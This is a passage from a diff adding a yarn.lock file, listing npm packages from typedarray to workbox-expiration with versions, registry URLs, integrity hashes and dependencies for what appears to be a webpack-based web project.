"https://registry.yarnpkg.com/typedarray/-/typedarray-0.0.6.tgz#867ac74e3864187b1d3d47d996a78ec5c8830777" + integrity sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c= + +unicode-canonical-property-names-ecmascript@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz#2619800c4c825800efdd8343af7dd9933cbe2818" + integrity sha512-jDrNnXWHd4oHiTZnx/ZG7gtUTVp+gCcTTKr8L0HjlwphROEW3+Him+IpvC+xcJEFegapiMZyZe02CyuOnRmbnQ== + +unicode-match-property-ecmascript@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz#8ed2a32569961bce9227d09cd3ffbb8fed5f020c" + integrity sha512-L4Qoh15vTfntsn4P1zqnHulG0LdXgjSO035fEpdtp6YxXhMT51Q6vgM5lYdG/5X3MjS+k/Y9Xw4SFCY9IkR0rg== + dependencies: + unicode-canonical-property-names-ecmascript "^1.0.4" + unicode-property-aliases-ecmascript "^1.0.4" + +unicode-match-property-value-ecmascript@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.2.0.tgz#0d91f600eeeb3096aa962b1d6fc88876e64ea531" + integrity sha512-wjuQHGQVofmSJv1uVISKLE5zO2rNGzM/KCYZch/QQvez7C1hUhBIuZ701fYXExuufJFMPhv2SyL8CyoIfMLbIQ== + +unicode-property-aliases-ecmascript@^1.0.4: + version "1.1.0" + resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.1.0.tgz#dd57a99f6207bedff4628abefb94c50db941c8f4" + integrity sha512-PqSoPh/pWetQ2phoj5RLiaqIk4kCNwoV3CI+LfGmWLKI3rE3kl1h59XpX2BjgDrmbxD9ARtQobPGU1SguCYuQg== + +union-value@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/union-value/-/union-value-1.0.1.tgz#0b6fe7b835aecda61c6ea4d4f02c14221e109847" + integrity sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg== + dependencies: + arr-union "^3.1.0" + get-value "^2.0.6" + is-extendable "^0.1.1" + set-value "^2.0.1" + +uniq@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/uniq/-/uniq-1.0.1.tgz#b31c5ae8254844a3a8281541ce2b04b865a734ff" + integrity sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8= + +uniqs@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/uniqs/-/uniqs-2.0.0.tgz#ffede4b36b25290696e6e165d4a59edb998e6b02" + integrity sha1-/+3ks2slKQaW5uFl1KWe25mOawI= + +unique-filename@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/unique-filename/-/unique-filename-1.1.1.tgz#1d69769369ada0583103a1e6ae87681b56573230" + integrity sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ== + dependencies: + unique-slug "^2.0.0" + +unique-slug@^2.0.0: + version "2.0.2" + resolved "https://registry.yarnpkg.com/unique-slug/-/unique-slug-2.0.2.tgz#baabce91083fc64e945b0f3ad613e264f7cd4e6c" + integrity sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w== + dependencies: + imurmurhash "^0.1.4" + +unique-string@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/unique-string/-/unique-string-1.0.0.tgz#9e1057cca851abb93398f8b33ae187b99caec11a" + integrity sha1-nhBXzKhRq7kzmPizOuGHuZyuwRo= + dependencies: + crypto-random-string "^1.0.0" + +universalify@^0.1.0: + version "0.1.2" + resolved "https://registry.yarnpkg.com/universalify/-/universalify-0.1.2.tgz#b646f69be3942dabcecc9d6639c80dc105efaa66" + integrity sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg== + +universalify@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/universalify/-/universalify-2.0.0.tgz#75a4984efedc4b08975c5aeb73f530d02df25717" + integrity sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ== + +unpipe@1.0.0, unpipe@~1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec" + integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw= + +unquote@~1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/unquote/-/unquote-1.1.1.tgz#8fded7324ec6e88a0ff8b905e7c098cdc086d544" + integrity sha1-j97XMk7G6IoP+LkF58CYzcCG1UQ= + +unset-value@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/unset-value/-/unset-value-1.0.0.tgz#8376873f7d2335179ffb1e6fc3a8ed0dfc8ab559" + integrity sha1-g3aHP30jNRef+x5vw6jtDfyKtVk= + dependencies: + has-value "^0.3.1" + isobject "^3.0.0" + +upath@^1.1.1, upath@^1.1.2, upath@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/upath/-/upath-1.2.0.tgz#8f66dbcd55a883acdae4408af8b035a5044c1894" + integrity sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg== + +uri-js@^4.2.2: + version "4.4.1" + resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e" + integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg== + dependencies: + punycode "^2.1.0" + +urix@^0.1.0: + version "0.1.0" + resolved "https://registry.yarnpkg.com/urix/-/urix-0.1.0.tgz#da937f7a62e21fec1fd18d49b35c2935067a6c72" + integrity sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI= + +url-loader@4.1.1: + version "4.1.1" + resolved "https://registry.yarnpkg.com/url-loader/-/url-loader-4.1.1.tgz#28505e905cae158cf07c92ca622d7f237e70a4e2" + integrity sha512-3BTV812+AVHHOJQO8O5MkWgZ5aosP7GnROJwvzLS9hWDj00lZ6Z0wNak423Lp9PBZN05N+Jk/N5Si8jRAlGyWA== + dependencies: + loader-utils "^2.0.0" + mime-types "^2.1.27" + schema-utils "^3.0.0" + +url-parse@^1.4.3, url-parse@^1.4.7: + version "1.5.1" + resolved "https://registry.yarnpkg.com/url-parse/-/url-parse-1.5.1.tgz#d5fa9890af8a5e1f274a2c98376510f6425f6e3b" + integrity sha512-HOfCOUJt7iSYzEx/UqgtwKRMC6EU91NFhsCHMv9oM03VJcVo2Qrp8T8kI9D7amFf1cu+/3CEhgb3rF9zL7k85Q== + dependencies: + querystringify "^2.1.1" + requires-port "^1.0.0" + +url@^0.11.0: + version "0.11.0" + resolved "https://registry.yarnpkg.com/url/-/url-0.11.0.tgz#3838e97cfc60521eb73c525a8e55bfdd9e2e28f1" + integrity sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE= + dependencies: + punycode "1.3.2" + querystring "0.2.0" + +use@^3.1.0: + version "3.1.1" + resolved "https://registry.yarnpkg.com/use/-/use-3.1.1.tgz#d50c8cac79a19fbc20f2911f56eb973f4e10070f" + integrity sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ== + +util-deprecate@^1.0.1, util-deprecate@^1.0.2, util-deprecate@~1.0.1: + version "1.0.2" + resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf" + integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8= + +util.promisify@1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/util.promisify/-/util.promisify-1.0.0.tgz#440f7165a459c9a16dc145eb8e72f35687097030" + integrity sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA== + dependencies: + define-properties "^1.1.2" + object.getownpropertydescriptors "^2.0.3" + +util.promisify@~1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/util.promisify/-/util.promisify-1.0.1.tgz#6baf7774b80eeb0f7520d8b81d07982a59abbaee" + integrity sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA== + dependencies: + define-properties "^1.1.3" + es-abstract "^1.17.2" + has-symbols "^1.0.1" + object.getownpropertydescriptors "^2.1.0" + +util@0.10.3: + version "0.10.3" + resolved "https://registry.yarnpkg.com/util/-/util-0.10.3.tgz#7afb1afe50805246489e3db7fe0ed379336ac0f9" + integrity sha1-evsa/lCAUkZInj23/g7TeTNqwPk= + dependencies: + inherits "2.0.1" + +util@^0.11.0: + version "0.11.1" + resolved "https://registry.yarnpkg.com/util/-/util-0.11.1.tgz#3236733720ec64bb27f6e26f421aaa2e1b588d61" + integrity sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ== + dependencies: + inherits "2.0.3" + +utila@~0.4: + version "0.4.0" + resolved "https://registry.yarnpkg.com/utila/-/utila-0.4.0.tgz#8a16a05d445657a3aea5eecc5b12a4fa5379772c" + integrity sha1-ihagXURWV6Oupe7MWxKk+lN5dyw= + +utils-merge@1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713" + integrity sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM= + +uuid@^3.3.2, uuid@^3.4.0: + version "3.4.0" + resolved "https://registry.yarnpkg.com/uuid/-/uuid-3.4.0.tgz#b23e4358afa8a202fe7a100af1f5f883f02007ee" + integrity sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A== + +uuid@^8.3.0: + version "8.3.2" + resolved "https://registry.yarnpkg.com/uuid/-/uuid-8.3.2.tgz#80d5b5ced271bb9af6c445f21a1a04c606cefbe2" + integrity sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg== + +v8-compile-cache@^2.0.3: + version "2.2.0" + resolved "https://registry.yarnpkg.com/v8-compile-cache/-/v8-compile-cache-2.2.0.tgz#9471efa3ef9128d2f7c6a7ca39c4dd6b5055b132" + integrity sha512-gTpR5XQNKFwOd4clxfnhaqvfqMpqEwr4tOtCyz4MtYZX2JYhfr1JvBFKdS+7K/9rfpZR3VLX+YWBbKoxCgS43Q== + +v8-to-istanbul@^7.0.0: + version "7.1.0" + resolved "https://registry.yarnpkg.com/v8-to-istanbul/-/v8-to-istanbul-7.1.0.tgz#5b95cef45c0f83217ec79f8fc7ee1c8b486aee07" + integrity sha512-uXUVqNUCLa0AH1vuVxzi+MI4RfxEOKt9pBgKwHbgH7st8Kv2P1m+jvWNnektzBh5QShF3ODgKmUFCf38LnVz1g== + dependencies: + "@types/istanbul-lib-coverage" "^2.0.1" + convert-source-map "^1.6.0" + source-map "^0.7.3" + +validate-npm-package-license@^3.0.1: + version "3.0.4" + resolved "https://registry.yarnpkg.com/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz#fc91f6b9c7ba15c857f4cb2c5defeec39d4f410a" + integrity sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew== + dependencies: + spdx-correct "^3.0.0" + spdx-expression-parse "^3.0.0" + +vary@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc" + integrity sha1-IpnwLG3tMNSllhsLn3RSShj2NPw= + +vendors@^1.0.0: + version "1.0.4" + resolved "https://registry.yarnpkg.com/vendors/-/vendors-1.0.4.tgz#e2b800a53e7a29b93506c3cf41100d16c4c4ad8e" + integrity sha512-/juG65kTL4Cy2su4P8HjtkTxk6VmJDiOPBufWniqQ6wknac6jNiXS9vU+hO3wgusiyqWlzTbVHi0dyJqRONg3w== + +verror@1.10.0: + version "1.10.0" + resolved "https://registry.yarnpkg.com/verror/-/verror-1.10.0.tgz#3a105ca17053af55d6e270c1f8288682e18da400" + integrity sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA= + dependencies: + assert-plus "^1.0.0" + core-util-is "1.0.2" + extsprintf "^1.2.0" + +vm-browserify@^1.0.1: + version "1.1.2" + resolved "https://registry.yarnpkg.com/vm-browserify/-/vm-browserify-1.1.2.tgz#78641c488b8e6ca91a75f511e7a3b32a86e5dda0" + integrity sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ== + +w3c-hr-time@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz#0a89cdf5cc15822df9c360543676963e0cc308cd" + integrity sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ== + dependencies: + browser-process-hrtime "^1.0.0" + +w3c-xmlserializer@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz#3e7104a05b75146cc60f564380b7f683acf1020a" + integrity sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA== + dependencies: + xml-name-validator "^3.0.0" + +walker@^1.0.7, walker@~1.0.5: + version "1.0.7" + resolved "https://registry.yarnpkg.com/walker/-/walker-1.0.7.tgz#2f7f9b8fd10d677262b18a884e28d19618e028fb" + integrity sha1-L3+bj9ENZ3JisYqITijRlhjgKPs= + dependencies: + makeerror "1.0.x" + +watchpack-chokidar2@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/watchpack-chokidar2/-/watchpack-chokidar2-2.0.1.tgz#38500072ee6ece66f3769936950ea1771be1c957" + integrity sha512-nCFfBIPKr5Sh61s4LPpy1Wtfi0HE8isJ3d2Yb5/Ppw2P2B/3eVSEBjKfN0fmHJSK14+31KwMKmcrzs2GM4P0Ww== + dependencies: + chokidar "^2.1.8" + +watchpack@^1.7.4: + version "1.7.5" + resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-1.7.5.tgz#1267e6c55e0b9b5be44c2023aed5437a2c26c453" + integrity sha512-9P3MWk6SrKjHsGkLT2KHXdQ/9SNkyoJbabxnKOoJepsvJjJG8uYTR3yTPxPQvNDI3w4Nz1xnE0TLHK4RIVe/MQ== + dependencies: + graceful-fs "^4.1.2" + neo-async "^2.5.0" + optionalDependencies: + chokidar "^3.4.1" + watchpack-chokidar2 "^2.0.1" + +wbuf@^1.1.0, wbuf@^1.7.3: + version "1.7.3" + resolved "https://registry.yarnpkg.com/wbuf/-/wbuf-1.7.3.tgz#c1d8d149316d3ea852848895cb6a0bfe887b87df" + integrity sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA== + dependencies: + minimalistic-assert "^1.0.0" + +web-vitals@^1.0.1: + version "1.1.2" + resolved "https://registry.yarnpkg.com/web-vitals/-/web-vitals-1.1.2.tgz#06535308168986096239aa84716e68b4c6ae6d1c" + integrity sha512-PFMKIY+bRSXlMxVAQ+m2aw9c/ioUYfDgrYot0YUa+/xa0sakubWhSDyxAKwzymvXVdF4CZI71g06W+mqhzu6ig== + +webidl-conversions@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-5.0.0.tgz#ae59c8a00b121543a2acc65c0434f57b0fc11aff" + integrity sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA== + +webidl-conversions@^6.1.0: + version "6.1.0" + resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-6.1.0.tgz#9111b4d7ea80acd40f5270d666621afa78b69514" + integrity sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w== + +webpack-dev-middleware@^3.7.2: + version "3.7.3" + resolved "https://registry.yarnpkg.com/webpack-dev-middleware/-/webpack-dev-middleware-3.7.3.tgz#0639372b143262e2b84ab95d3b91a7597061c2c5" + integrity sha512-djelc/zGiz9nZj/U7PTBi2ViorGJXEWo/3ltkPbDyxCXhhEXkW0ce99falaok4TPj+AsxLiXJR0EBOb0zh9fKQ== + dependencies: + memory-fs "^0.4.1" + mime "^2.4.4" + mkdirp "^0.5.1" + range-parser "^1.2.1" + webpack-log "^2.0.0" + +webpack-dev-server@3.11.1: + version "3.11.1" + resolved "https://registry.yarnpkg.com/webpack-dev-server/-/webpack-dev-server-3.11.1.tgz#c74028bf5ba8885aaf230e48a20e8936ab8511f0" + integrity sha512-u4R3mRzZkbxQVa+MBWi2uVpB5W59H3ekZAJsQlKUTdl7Elcah2EhygTPLmeFXybQkf9i2+L0kn7ik9SnXa6ihQ== + dependencies: + ansi-html "0.0.7" + bonjour "^3.5.0" + chokidar "^2.1.8" + compression "^1.7.4" + connect-history-api-fallback "^1.6.0" + debug "^4.1.1" + del "^4.1.1" + express "^4.17.1" + html-entities "^1.3.1" + http-proxy-middleware "0.19.1" + import-local "^2.0.0" + internal-ip "^4.3.0" + ip "^1.1.5" + is-absolute-url "^3.0.3" + killable "^1.0.1" + loglevel "^1.6.8" + opn "^5.5.0" + p-retry "^3.0.1" + portfinder "^1.0.26" + schema-utils "^1.0.0" + selfsigned "^1.10.8" + semver "^6.3.0" + serve-index "^1.9.1" + sockjs "^0.3.21" + sockjs-client "^1.5.0" + spdy "^4.0.2" + strip-ansi "^3.0.1" + supports-color "^6.1.0" + url "^0.11.0" + webpack-dev-middleware "^3.7.2" + webpack-log "^2.0.0" + ws "^6.2.1" + yargs "^13.3.2" + +webpack-log@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/webpack-log/-/webpack-log-2.0.0.tgz#5b7928e0637593f119d32f6227c1e0ac31e1b47f" + integrity sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg== + dependencies: + ansi-colors "^3.0.0" + uuid "^3.3.2" + +webpack-manifest-plugin@2.2.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/webpack-manifest-plugin/-/webpack-manifest-plugin-2.2.0.tgz#19ca69b435b0baec7e29fbe90fb4015de2de4f16" + integrity sha512-9S6YyKKKh/Oz/eryM1RyLVDVmy3NSPV0JXMRhZ18fJsq+AwGxUY34X54VNwkzYcEmEkDwNxuEOboCZEebJXBAQ== + dependencies: + fs-extra "^7.0.0" + lodash ">=3.5 <5" + object.entries "^1.1.0" + tapable "^1.0.0" + +webpack-merge@^4.2.2: + version "4.2.2" + resolved "https://registry.yarnpkg.com/webpack-merge/-/webpack-merge-4.2.2.tgz#a27c52ea783d1398afd2087f547d7b9d2f43634d" + integrity sha512-TUE1UGoTX2Cd42j3krGYqObZbOD+xF7u28WB7tfUordytSjbWTIjK/8V0amkBfTYN4/pB/GIDlJZZ657BGG19g== + dependencies: + lodash "^4.17.15" + +webpack-sources@^1.1.0, webpack-sources@^1.3.0, webpack-sources@^1.4.0, webpack-sources@^1.4.1, webpack-sources@^1.4.3: + version "1.4.3" + resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-1.4.3.tgz#eedd8ec0b928fbf1cbfe994e22d2d890f330a933" + integrity sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ== + dependencies: + source-list-map "^2.0.0" + source-map "~0.6.1" + +webpack@4.44.2: + version "4.44.2" + resolved "https://registry.yarnpkg.com/webpack/-/webpack-4.44.2.tgz#6bfe2b0af055c8b2d1e90ed2cd9363f841266b72" + integrity sha512-6KJVGlCxYdISyurpQ0IPTklv+DULv05rs2hseIXer6D7KrUicRDLFb4IUM1S6LUAKypPM/nSiVSuv8jHu1m3/Q== + dependencies: + "@webassemblyjs/ast" "1.9.0" + "@webassemblyjs/helper-module-context" "1.9.0" + "@webassemblyjs/wasm-edit" "1.9.0" + "@webassemblyjs/wasm-parser" "1.9.0" + acorn "^6.4.1" + ajv "^6.10.2" + ajv-keywords "^3.4.1" + chrome-trace-event "^1.0.2" + enhanced-resolve "^4.3.0" + eslint-scope "^4.0.3" + json-parse-better-errors "^1.0.2" + loader-runner "^2.4.0" + loader-utils "^1.2.3" + memory-fs "^0.4.1" + micromatch "^3.1.10" + mkdirp "^0.5.3" + neo-async "^2.6.1" + node-libs-browser "^2.2.1" + schema-utils "^1.0.0" + tapable "^1.1.3" + terser-webpack-plugin "^1.4.3" + watchpack "^1.7.4" + webpack-sources "^1.4.1" + +websocket-driver@>=0.5.1, websocket-driver@^0.7.4: + version "0.7.4" + resolved "https://registry.yarnpkg.com/websocket-driver/-/websocket-driver-0.7.4.tgz#89ad5295bbf64b480abcba31e4953aca706f5760" + integrity sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg== + dependencies: + http-parser-js ">=0.5.1" + safe-buffer ">=5.1.0" + websocket-extensions ">=0.1.1" + +websocket-extensions@>=0.1.1: + version "0.1.4" + resolved "https://registry.yarnpkg.com/websocket-extensions/-/websocket-extensions-0.1.4.tgz#7f8473bc839dfd87608adb95d7eb075211578a42" + integrity sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg== + +whatwg-encoding@^1.0.5: + version "1.0.5" + resolved "https://registry.yarnpkg.com/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz#5abacf777c32166a51d085d6b4f3e7d27113ddb0" + integrity sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw== + dependencies: + iconv-lite "0.4.24" + +whatwg-fetch@^3.4.1: + version "3.6.1" + resolved "https://registry.yarnpkg.com/whatwg-fetch/-/whatwg-fetch-3.6.1.tgz#93bc4005af6c2cc30ba3e42ec3125947c8f54ed3" + integrity sha512-IEmN/ZfmMw6G1hgZpVd0LuZXOQDisrMOZrzYd5x3RAK4bMPlJohKUZWZ9t/QsTvH0dV9TbPDcc2OSuIDcihnHA== + +whatwg-mimetype@^2.3.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz#3d4b1e0312d2079879f826aff18dbeeca5960fbf" + integrity sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g== + +whatwg-url@^8.0.0: + version "8.4.0" + resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-8.4.0.tgz#50fb9615b05469591d2b2bd6dfaed2942ed72837" + integrity sha512-vwTUFf6V4zhcPkWp/4CQPr1TW9Ml6SF4lVyaIMBdJw5i6qUUJ1QWM4Z6YYVkfka0OUIzVo/0aNtGVGk256IKWw== + dependencies: + lodash.sortby "^4.7.0" + tr46 "^2.0.2" + webidl-conversions "^6.1.0" + +which-module@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/which-module/-/which-module-2.0.0.tgz#d9ef07dce77b9902b8a3a8fa4b31c3e3f7e6e87a" + integrity sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho= + +which@^1.2.9, which@^1.3.1: + version "1.3.1" + resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a" + integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ== + dependencies: + isexe "^2.0.0" + +which@^2.0.1, which@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1" + integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA== + dependencies: + isexe "^2.0.0" + +word-wrap@^1.2.3, word-wrap@~1.2.3: + version "1.2.3" + resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.3.tgz#610636f6b1f703891bd34771ccb17fb93b47079c" + integrity sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ== + +workbox-background-sync@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-background-sync/-/workbox-background-sync-5.1.4.tgz#5ae0bbd455f4e9c319e8d827c055bb86c894fd12" + integrity sha512-AH6x5pYq4vwQvfRDWH+vfOePfPIYQ00nCEB7dJRU1e0n9+9HMRyvI63FlDvtFT2AvXVRsXvUt7DNMEToyJLpSA== + dependencies: + workbox-core "^5.1.4" + +workbox-broadcast-update@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-broadcast-update/-/workbox-broadcast-update-5.1.4.tgz#0eeb89170ddca7f6914fa3523fb14462891f2cfc" + integrity sha512-HTyTWkqXvHRuqY73XrwvXPud/FN6x3ROzkfFPsRjtw/kGZuZkPzfeH531qdUGfhtwjmtO/ZzXcWErqVzJNdXaA== + dependencies: + workbox-core "^5.1.4" + +workbox-build@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-build/-/workbox-build-5.1.4.tgz#23d17ed5c32060c363030c8823b39d0eabf4c8c7" + integrity sha512-xUcZn6SYU8usjOlfLb9Y2/f86Gdo+fy1fXgH8tJHjxgpo53VVsqRX0lUDw8/JuyzNmXuo8vXX14pXX2oIm9Bow== + dependencies: + "@babel/core" "^7.8.4" + "@babel/preset-env" "^7.8.4" + "@babel/runtime" "^7.8.4" + "@hapi/joi" "^15.1.0" + "@rollup/plugin-node-resolve" "^7.1.1" + "@rollup/plugin-replace" "^2.3.1" + "@surma/rollup-plugin-off-main-thread" "^1.1.1" + common-tags "^1.8.0" + fast-json-stable-stringify "^2.1.0" + fs-extra "^8.1.0" + glob "^7.1.6" + lodash.template "^4.5.0" + pretty-bytes "^5.3.0" + rollup "^1.31.1" + rollup-plugin-babel "^4.3.3" + rollup-plugin-terser "^5.3.1" + source-map "^0.7.3" + source-map-url "^0.4.0" + stringify-object "^3.3.0" + strip-comments "^1.0.2" + tempy "^0.3.0" + upath "^1.2.0" + workbox-background-sync "^5.1.4" + workbox-broadcast-update "^5.1.4" + workbox-cacheable-response "^5.1.4" + workbox-core "^5.1.4" + workbox-expiration "^5.1.4" + workbox-google-analytics "^5.1.4" + workbox-navigation-preload "^5.1.4" + workbox-precaching "^5.1.4" + workbox-range-requests "^5.1.4" + workbox-routing "^5.1.4" + workbox-strategies "^5.1.4" + workbox-streams "^5.1.4" + workbox-sw "^5.1.4" + workbox-window "^5.1.4" + +workbox-cacheable-response@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-cacheable-response/-/workbox-cacheable-response-5.1.4.tgz#9ff26e1366214bdd05cf5a43da9305b274078a54" + integrity sha512-0bfvMZs0Of1S5cdswfQK0BXt6ulU5kVD4lwer2CeI+03czHprXR3V4Y8lPTooamn7eHP8Iywi5QjyAMjw0qauA== + dependencies: + workbox-core "^5.1.4" + +workbox-core@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-core/-/workbox-core-5.1.4.tgz#8bbfb2362ecdff30e25d123c82c79ac65d9264f4" + integrity sha512-+4iRQan/1D8I81nR2L5vcbaaFskZC2CL17TLbvWVzQ4qiF/ytOGF6XeV54pVxAvKUtkLANhk8TyIUMtiMw2oDg== + +workbox-expiration@^5.1.4: + version 